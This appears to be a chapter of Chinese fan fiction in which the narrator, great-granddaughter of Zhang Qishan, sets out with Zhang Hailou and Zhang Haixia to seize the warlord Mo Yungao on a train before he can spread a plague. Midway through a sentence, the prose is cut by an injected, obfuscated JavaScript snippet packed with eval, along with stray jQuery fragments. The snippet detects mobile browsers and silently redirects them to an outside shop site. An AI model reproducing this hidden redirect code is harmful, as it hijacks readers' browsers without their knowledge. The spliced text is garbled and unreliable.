书房古色古香,内室却略显空旷,本该有摆件的位置,只在地板上留下印记,显然是为了拍得鹿活草,有价值的古董都被搬空了。
“丫头的病,还有得治吗。”张启山单刀直入地对我道。
我来到他对面的椅子上坐下:“是打算教我新的话术?”
张启山道:“先回答。”
“治不了了。”我叹气,“我本来以为,鹿活草能延长红夫人的寿命,可用黛石果这七天,我发现药效太猛了,普通人根本受不了这个过程。夫人的身体早就不行了,虽然我不知道鹿活草要怎样起死回生,但不会轻松就对了,她不但治不好,很有可能会在服药的痛苦中死去。”
张启山若有所思:“你知道为何二爷那边迟迟没有使用鹿活草么。”
“听说是在筹药引。”我道。
“没错,其他几味都齐了,唯独当归,整个长沙都没有,连城外都找了,也没有,二爷派人去了杭州那边,但一个来回,丫头等不起。”张启山对我道,“是日本人干的,他们不知道从哪里得来的消息,先一步买走了所有当归,甚至包括临近的城镇,都已经找不到药了。”
我心头一凛,如此有针对性,阴谋的意味很浓:“佛爷需要我做什么?”
张启山没有说话,只是从抽屉里拿出一小包东西给我,我还以为他是要我卷铺盖走人的意思,没想到打开包裹,赫然是一大堆当归,以及一个木匣子,我打开木匣,鹿活草竟放在里面。
什么情况?
我有点搞不懂了,看着张启山,不像是要我帮忙熬药的意思,再说了我是学西医的,二月红早已备好了大夫,熬药这事儿不该轮到我头上。
“两天前,丫头派人来把我叫过去,她瞒着二爷,将鹿活草交给了我。”张启山顿了一下,继续道,“三天前,日本人将这袋当归送到军营,张日山把它秘密带到府邸,启玥,你知道这两件事,意味着什么吗?”
二月红和红夫人的结局,我是了解的,但个中细节,张日山肯定不会全说,眼下发生的两件看似互不相干的事,全在我的意料之外:“日本人收了这药,让大家找不着,给你做顺水人情,要你帮他们办事?”
这是我唯一能想到的。
“至于夫人为什么又要把鹿活草给你……”我顿了一下,“难道她知道自己活不了了,觉得这东西太贵重,想要把人情还回来?不应该啊,二爷肯定不会放弃,就算红夫人的病真没救了,他也会用掉最后这个希望让自己死心,怎么会把药给你?”
张启山看着那一包烫手山芋似的东西:“你能想到这样的程度,已经很好了。”
“佛爷,您就别卖关子了,你把我单独叫进来,总不能是为了打哑谜。”我有些焦急,这件事可大可小,关乎张启山和二月红的情分,稍有不慎,张启山就要变成二月红的敌人了。
“如你猜测,丫头确实知道自己时日无多,就算找到药引,鹿活草也救不了她,这药的副作用,不是她那样的身子受得住的。”张启山一顿,“丫头若亡,二爷必然心如死灰随她而去,她不愿意看到心爱之人殉情,便把鹿活草给我。”
我倒吸一口凉气:“她要把二爷的悲痛,转化成对你的恨意,这怎么行啊?”张启山如今倾家荡产,内忧外患,正是需要和二月红共同进退的时候,这么做无疑是让张启山孤立无援,“等一下,红夫人给你鹿活草的原因我想通了,日本人又要做什么?”
张启山比我平静多了:“如今我与二爷没了家底,有些事就变得被动,日本人与上峰勾结,想要将我从布防官的位置拉下来,如果我把当归交给二爷,他们便会拿这个由头,诬陷我与江湖人勾结叛国,到时候张家与红家,便万劫不复。”
我一时间不知道该做出怎样的反应,张启山如此冷静地说出敌人的计划,就表示他已经有了对策,这件事听起来就很严重,可日山伯伯从没告诉我曾经有过这样一段往事。
“佛爷,你会背负很多骂名的。”张启山和二月红,我当然站在自己曾祖父这头,眼见他要吃亏,我淡定不了,“而且,二爷也会恨你一辈子。”
张启山不露痕迹地叹了一声:“二爷,他会明白我的苦衷。”
二月红是个极其聪明之人,他总有一天会理解张启山的无奈之举,可至少现在不会。
我不知道该怎么劝说张启山三思,他已经把自己在书房关了两天,能考虑到的结果,他都一定想清楚了:“你把我叫来是想让我帮你什么呢,暗杀日本人?”
张启山道:“你出去后,管家会给你们去南京的火车票,此时各地的长官都要前往南京,莫云高也会在他自己的火车上。此人疑心很重,多半避而不出,两列火车将在某个山区停靠,我会安排人员帮你们登上他的车厢,你们要在莫云高抵达南京之前,将他活捉,张日山负责接应,待我们审完这个人,莫云高便随你们处理,火车明天经过长沙,你们先收拾好行李。”
我怔忪,任务来得有些突然:“那是什么重大的集会活动么,莫云高竟然亲临?”
张启山道:“并不算太重大的活动,只是例行集会,事实上,他不去也无人在意。”莫云高是军阀中不起眼的人物,之前还战败过,明面上就是个躲起来不干正事的缩头乌龟,和各地的联合军关系都比较微妙。
可只有我们知道,他根本不准备建功立业,又或是成为伟人,他所做的一切,都是为了引出张起灵,自然不能被别人看出目的,所以这么多年一直行事低调。
“那他为什么要去?”我道。
张启山说:“也许准备利用这次机会,正大光明的散播瘟疫。”
我倒吸一口气,这就说得通了,难怪张启山要我们在他抵达南京前活捉,因为我们并不知道,在他的火车上,是否就备有散播瘟疫的东西。
这意味着,我将和张启山分开了,我还没有准备好离别,张启山看出了我的留念。
他道:“你们若是办完自己的事,想回来,我的府邸随时欢迎。”
我张了张嘴,半响才道:“我那儿还有一百万的银票,希望你能收下。”
“不必担心钱的问题。”张启山摆摆手拒绝,这是他现在面临的所有麻烦中,最无关紧要的一个,“你出去吧,明天我就不送你了,老八会在火车站等你,他应该有话要对你说。另外,长沙未来会很动荡,若是想跟他们过平淡的日子,就别回来了,找个地方隐居吧,最好出国。”
我依依不舍地从书房退了出来,信息量很大,得跟张海楼和张海侠商量对策,出门逛街给大夫打赏的事便只能搁置了。
尹新月知道张启山没出事,也回了自己的房间。
我的心情五味杂陈,真实的历史,远比过来人讲述的更残酷,二月红即将失去毕生挚爱,而张启山也将迎来二月红的怒火,昔日情义荡然无存。
我不知道最后他们是怎样冰释前嫌,在张日山的故事里,张启山和二月红是亲密无间的知己与战友。
张海楼和张海侠分别牵住我的手,我把他们的掌心捧在脸上,两个人的体温比我高,很暖。
“舍不得?”张海楼道。
我摇头:“有些心疼曾祖父。”同时也为红夫人感到悲伤。
张海侠感同身受,对于失去与拥有,他有很强烈的认知。
我吐出一口气,现在不是丧的时候,我将张启山的计划告诉了他们。
莫云高自然非常危险,连张启山都按兵不动那么长时间,说明是不好抓的,又或者,必须要找一个理由,或是机会,光抓人,达不到张启山的目的。
张海楼道:“你家老佛爷的意思是,莫云高正在前往南京,我们直接在南京的半道上劫持他,顺便寻找火车上可能存在的蛛丝马迹。抓到人之后,再由老佛爷从他口中审问出更直接的证据,或者我们审,但必须要有他的人在场。”
张海侠接着说:“以佛爷的做派,应该会提前派几队兵马直达北海蛰伏,一旦审讯结束,便能直接拿下莫云高的司令部。”
我道:“那万一莫云高嘴硬,什么也不说呢?”
张海侠抚摸我的头发:“审讯除了诱导,一些不见血,却足以让人痛不欲生的手段,你是想不到的。哪怕不用极刑,一些药物,也能起到事半功倍的作用,很多时候,吐露真相,光靠嘴硬是抵抗不住的。”
我放宽心。
张海楼道:“比起事后的工作,拿人才是最棘手的,莫云高久居北海,这次却突然前往南京,身边一定有能人异士护航,还有他专门针对张家人的毒药,也得防范。”
张启山会借给我们10个姓张的亲信,还会想办法把我们直接送上莫云高的火车,这些配合我们的人想必身手了得,而莫云高性格偏执无情,培养不出多少像白珠那样的手下,顶多雇佣,只要能接近他,并确定那就是本人,就会很好办。
张海侠低头沉思一会儿,问我:“你在南部档案馆看到的资料里,是否有说明莫云高要如何在内陆散播瘟疫?”
我道:“档案的内容只记录发生过的事,莫云高并没能成功在国内引发大面积瘟疫。”
虽说是好消息,也担心有变数,毕竟我保证不了未来是否出现偏差。记录者只会留下对自己有利的结果,200年前的瘟疫,谁会去求证当时的真伪。
张海侠蹙眉:“我就怕,散播瘟疫的途径,并不是那辆火车,又或者,不止有那一辆火车。”
张海楼像是察觉到了什么,对张海侠道:“从北海出发要过水路先到广州,然后火车经长沙,再到武汉,最后一站才是南京。”他随手从茶几下面拿出纸笔,开始在纸上画,“这是马六甲爆发瘟疫的几个村子的位置,和他们中间的连线,这是广州,长沙,武汉,南京。”
村子连线之后的形状,和广州长沙武汉南京四城的连线一模一样,是Z字型的。
我捏了捏拳头:“马六甲的村子竟然只是实验!”
莫云高特地找了相似距离的村子来释放瘟疫,研究传播速度,和中间有可能发生的意外,现在,莫云高借着官方发布的活动前往南京,没有任何人会怀疑到他头上。
我道:“马六甲的瘟疫是一个村子一个村子爆发的吗?”
张海楼道:“是同时爆发的,前后不过一两天的差距,也就是说,这四个城市的疫病,不出意外,也会同时爆发。”
张海侠得出结论:“也就是说,莫云高在这四个城市,早已安插了人手,他到达南京之后,会第一时间给这些人发出信号,信号一旦发出,所有城市会同时开始发病。”
我起身道:“得告诉曾祖父让他把莫云高的人揪出来!”
“你先别急,佛爷应该已经查到了这些,才会叮嘱我们不能让莫云高到南京。”张海侠轻抚我的脸颊,“玥,这次行动凶险万分,你还是留在长沙……”
“海侠,我是为了你才回来的。”我又看了一旁的张海楼,“因为海楼的那封信,我回来了,我是因为你们才出现在这里,没有理由让我留在长沙。”
张海侠紧握住我的手,他看向张海楼,想要张海楼劝我留下。
谁知张海楼道:“那行,我们三个一起,把莫云高这老东西给干掉,就当是为你家老佛爷和尹小姐的婚礼随份子了。”
一旦张启山接管莫云高在北海建立的势力,他亏空的家底,就都补回来了。
我一直以为张启山是娶了尹新月才有机会重起炉灶,想不到竟然完全没动曾祖母这层关系,难怪尹老板之后会把新月饭店直接交给张启山作为战时要地,他一定非常欣赏这个目中无人的女婿。
“海楼你……”张海侠叹气。
张海楼反而开导起他来:“我们家玥玥千里寻夫,哪次出现不是她救的你我,你现在腿好了,就瞧不上我们玥玥,那可不行。”说完就邀功似的一把将我整个人圈在他臂弯下面,“媳妇儿,我说得对不对?”
我点头:“对!”
张海侠气得抱住我的胳膊就往自己怀里拽:“你要他做大我做小了?”
出发前,我们没有带太多身外物,若是此行能成,无论多少的财富,张启山都能满足我的需要,若是不成,我们轻装跑路也方便。
张启山和尹新月把我们送到门口,我与他们道别,看着年轻的曾祖父和曾祖母,心中那份对于亲情的思念,还是没来由的止住了我前行的脚步。
我知道,此时一别,若无意外,我将和他们再无牵扯,因为我是不会再回到长沙来的,也不会跟着张启山。
一年后,长沙彻底沦陷,成为战场,张启山在那之前与尹新月完婚,他将带领九门撤退至北京,在新月饭店建立根据地,打赢一场又一场漫长而艰苦的胜仗。
尹新月作为张启山的妻子会一直陪着他直到中国全面解放,两人是一对令人艳羡的爱侣。
而尹新月作为凡人,会在她109岁时,在张启山的怀里安详的走完一生。
张启山对我扬了扬手,示意我赶紧出发,尹新月也叮嘱我注意安全。
我朝两人挥舞胳膊,跟着张海楼和张海侠走出大门。
“抱抱他们吧。”张海侠对我道,“这会儿不抱的话,以后恐怕就没机会了。”
张海楼也鼓励道:“大佛爷还是很宠你的,你今天放肆一回,他不会把你怎么样。”
我顿住脚下,把背包取下来递给张海楼,转身便小跑着朝张启山和尹新月过去。
张启山皱了皱眉:“怎么又跑回来,忘带什么了?”
我看着张启山,又看向尹新月,他们不知不觉已经站得很近,我上前一步抱住了两个人,张启山明显身体一僵,却没有立刻把我推开。
尹新月也吓了一跳,随即笑道:“你这洋人的礼仪,就不要用在我们两个身上了吧。”她象征性地也抱了抱我,摘了耳朵上的珍珠耳环,塞进我手里,“送你的临别礼物,别嫌弃,我是瞒着家里出来的,身上唯一值钱的就这副耳环了。”她看了一眼张启山,“以后嫁给你哥,我爹肯定得给彩礼,到时候让你慢慢选。”
“当然不会嫌弃。”我把耳环紧握在手中,慢慢地往后退,“佛爷,尹小姐,你们会儿孙满堂,永结同心,恩爱100年的。”
尹新月的脸立刻就红透了:“哎呀,你在说什么呢!”
我们三人坐上了前往火车站的福特轿车,驾驶位是张日山,他也要参与这次围剿莫云高的行动:“佛爷说,二小姐定要以自己为重,若是遭遇生命危险,行动便要立刻中止,不必勉强。”
“他小看我啊。”我道。
张日山透过倒车镜看我一眼:“佛爷是关心二小姐,奈何多事之秋,正是用人之际,二小姐聪明伶俐,是接近敌人的最佳人选,否则也不会忍心小姐冒险。”
“日……咳,张日山,你可以叫我名字的。”实在不习惯他小姐小姐的称呼我。
张日山道:“等小姐成功完成任务再说吧。”
得,搞半天是没有被他瞧上。
没多久,我们抵达了火车站,原本张启山的计划,是等莫云高的专列停靠长沙站时,再派自己的人易容上去围堵,可为了二月红的鹿活草,他便将抓捕行动取消了。
莫云高的专列已经离开了长沙,但中途他必须在进入南京前的山区停靠,因为各地军阀都要前往南京,大家用的全是自己专列,便要按照身份先来后到。莫云高只是小地方的军阀,没有特别功绩,只能等别的火车先行。
我们便在他停歇的空档,由张启山的人制造混乱,引起莫云高的注意,我们从看守最为薄弱的车厢混上去,当然,最重要的是得换脸,易容成莫云高手下的样子上他的专列实施活捉。
火车站内外贴满了陈皮的通缉令,那是一张非常年轻的脸,眼神透着狠戾。
“陈皮越狱了,现在全城都在抓他。”张日山对我们说。
“越狱,什么时候的事?”我问。
他犯下的罪行本该处死,但碍于二月红,只能终生监禁。
“你们离开长沙当天晚上吧。”张日山道,“不过,佛爷怀疑是有人故意把他放走,具体原因还在调查,但军队里,肯定出了叛徒,佛爷回来后,几天都没睡好觉了。”
我与张海楼和张海侠互相看了看,原来大家都不容易啊。
这时,我见到在取票口前等待的齐铁嘴,他朝我们用力挥手。
“总算等到你们了,早知道这么晚才来,我还不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439581|136548||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如直接去佛爷府上。”齐铁嘴抱怨着,取了围巾擦汗,“我生怕你们已经上车了。”他对我道,“二小姐方便单独聊么?”
我道:“方便。”
齐铁嘴把我带到一边,搓了搓手,似乎是有什么难以启齿的话:“那个,小玥姑娘,你是不是,是不是佛爷的……”他不知道该怎么表达,支支吾吾的,半天都吐露不出完整的话。
“佛爷是我曾祖父,我是他的后人。”我开门见山。
齐铁嘴脸色煞白:“祖宗哎,你怎么把实话告诉我了,你暗示就行了嘛。”他捂着耳朵,“祖师爷勿怪祖师爷勿怪,我什么都没听见!”
我笑道:“八爷爷,你算都算出来了,何必自欺欺人。”
齐铁嘴擦拭着脸上的冷汗:“我今年才25岁,不许这时候叫我八爷爷。”
算卦是很神奇的东西,像齐铁嘴这样的神算,不仅知晓未来,还能预测生死,只是他们这行禁忌很多。若是普通的神棍,窥得天机毫发无损,但齐铁嘴是他们家最能算的一个,知道的太多,恐遭厄运,所以对于我这个未来人的出现,他才又好奇又不敢证实。
我道:“我出生的时候你都不在了,也叫不了你八爷爷呀。”
齐铁嘴连连摆手:“去去去,童言无忌,什么在不在的。”他对我道,“先不提这个,你们要找的那个人,东西北方是死地,南疆是绝地,你得去南疆,死地无以复生,而绝处可逢生。”
“南疆?”我道,“南疆这么大,有具体位置吗?”
齐铁嘴压低声音:“广西。”也不知怕被谁听见了。
我愣了一愣,广西,忽而茅塞顿开,应该是广西,张起灵在那里合情合理,以后的张家镇就是建在那里,张家古楼也是那个地方,尽管这两处我都没进入过,但我知道广西对于张家人的意义非比寻常。
“多谢八爷爷!”我朝他鞠了一躬,有了方向,就好寻人了。
齐八爷赶紧躲开:“你这时候不能对我跪拜!”自己命数未到,无端接受后人的大礼,容易折寿。
他理了理马褂,继续对我说:“你乃逆天改运到此,之后的行程祸福难料,我本想替你算吉凶,却难以有结果,但卦象显示,你天运已尽,不属于这个世界了。”
我惊道:“我要死了吗?”
齐铁嘴摇了摇头:“你的生死不该出现在这里,这地方只是你的停留之地而非长久之所,按照卦象,你就要回到原本的轨迹,彻底与此处断了联系。”
“我不明白,什么意思?”我急切地问。
齐铁嘴道:“就是,从哪里来,回哪里去,你与这里的缘分,已尽了。”
我无措地站在原地发怔。
齐铁嘴拍了拍我的肩:“塞翁失马,你不要胡思乱想。”突然又低下头对我小声问道:“你有没有,姓齐的好姐妹,或者,咳,好兄弟?”他措辞委婉又小心翼翼,我却也听出齐铁嘴的意思。
我来自未来,又是张启山的曾孙女,自然也是九门中人,在九门又姓齐的,与我同辈分的兄弟姐妹,自然就是齐铁嘴的后人。
他想知道,自己是否有后。
不过,如今九门中的齐姓是黑瞎子当家,齐铁嘴的后人,在解家的,而且不姓齐。
“不是不能窥探天机?”我道。
齐铁嘴道:“这不算。”
我在他耳边小声说:“不一定姓齐,也有姓秦,和姓解的。”
齐铁嘴点点头,很是满意,这么多姓,说明人丁兴旺。
送别我们之后,齐铁嘴心情舒畅,也不知自己以后会跟哪家姑娘成亲生子,是美是丑,是柔是厉,倒是有点期待,转念一想,怎么自己的后人还有姓解的,刚想回头问我原因,却是连我的背影都看不见了。
一上火车,我们和张启山的人便分散至各处,尽管这列火车与莫云高没有关系,但大家还是保持着高度警惕。
这次我们没有坐头等舱,那里太招摇,而是在二等车厢,这列车厢暂时没有什么人,不知道是不是提前安排好的,已经被包下了。
我们刚落座,便看到对面的椅子上坐着一个熟悉的人。
竟然是张海琪。
“干娘?”张海楼不可置信,“你怎么在这里?”
张海琪叹了口气:“要是我现在正执行秘密任务,你就把老娘我出卖了。”
张海楼笑起来:“你做秘密任务就不会用这张脸了。”他来到张海琪身边,“干娘怎么来了?”
张海琪扫了我们三个人一眼:“当然是来抓捕莫云高。”
这是张启山的后手,他知道光靠我们是有风险的,莫云高的为人他最清楚,对付狡猾的狐狸,需要更老练的猎手,张海琪显然是最合适的人选。
我并不意外张启山会跟张海琪取得联系,说实话,有了她的加入,我的信心瞬间拉满。
张海琪看向张海侠:“站起来走几步我看看?”
张海侠立刻起身,踏着军姿,在车厢里走来走去。
张海琪拍拍他的腰,又捏捏他的腿:“你这小子,从小不知吃了多少亏,这会儿让你捡了那么大的便宜,倒是有点福气。”
张海楼讲述着我们在长沙和北京的见闻,暂时隐藏了黑瞎子的部分,我本以为张海琪会在这里问我来历,却一直到火车接近莫云高的专列,她对我的身世,似乎都没有要打听的意思。
三天后,火车停了下来,张启山和张海琪已经早有计划,她会假装是张启山抓到的俘虏,然后被献给莫云高。
而我们,则去不同的车厢等待指令。
因为张启山高年与莫云高有过一面之缘,从对方口中得知,他在寻找姓张的人,并且身上纹有麒麟。张启山不动声色,莫云高并不知道,眼前的长沙布防官,便是张家人的血脉,而且他也有遇热显形的纹身。
也就是从那开始,张启山便一直在调查莫云高,无论自己是否脱离了张家,面对一个精神状态不对的人在寻找张家,总是要留个心眼。
莫云高对姓张的渴望似乎疯魔,就算他察觉这有可能是张启山的阴谋,也会亲自面见张海琪,而对方是否易容,又或者别人假装,都瞒不过张海琪的眼睛。
张海琪对我道:“你没受过专门训练,应变能力和反应力都非常欠缺,要是发现自己不敌,立刻撤离,不可逗留。”
跟张启山说了相同的叮嘱,我忍不住抱住了她,但张海琪明显不习惯如此亲昵的举动,把我直接推开了:“别来洋人那套,你若有个三长两短,我那不争气的两个傻儿子怕是要随你去了,总之别逞强。”
我噘着嘴:“你好无情。”
张海琪冷哼一声:“我还有更无情的,如果你被抓起来当人质,我们也很麻烦,又不能不管你,所以,听你家长辈的教诲,遇事不决就逃跑。”
我们三人易了容,很顺利地就上了莫云高的专列,出乎意料的是,这辆车上并没有太多的卫兵,每节车厢只有一个警卫员,刚才因为张日山制造的动静,下去了三个。
张海琪已经被送到了莫云高的办公室。
我们一上火车就混入了莫云高队伍,,没有人怀疑我们,他的卫兵有好些个头都不高,刚好方便我行事。我们分别守在不同的车厢,等巡逻的离开,我迅速开始寻找这节车厢里可能存在的物证,又或者可以提供我物证的线索。
火车发出呜呜的声音,马上就要发动了,从这里到达南京火车站只不到两天,时间还是很赶。
猛然间,车厢各个角落有蛇爬出来,什么颜色的都有,吐着蛇信,每一条都有我的小臂粗细。
我停下动作,袖口钻出小青蛇的头,它也感受到了巨大的威胁。
车厢之间连接的玻璃门印出我身后的人影,我迅速转身,手里已经握紧了枪。
来者是个熟面孔,蛇祖,其实当我看到这么多蛇出现的时候,已经在想,要是蛇祖操控它们的就好了,老熟人,至少会通融,没想到还真是这个人。
可我没有庆幸太久就意识到我的脸上有易容,而且,当时在船上,我也是洋人的脸,他根本就不认识我。
可既然我脸上易容还在,为什么蛇祖会来堵我,难道已经看出我是假的?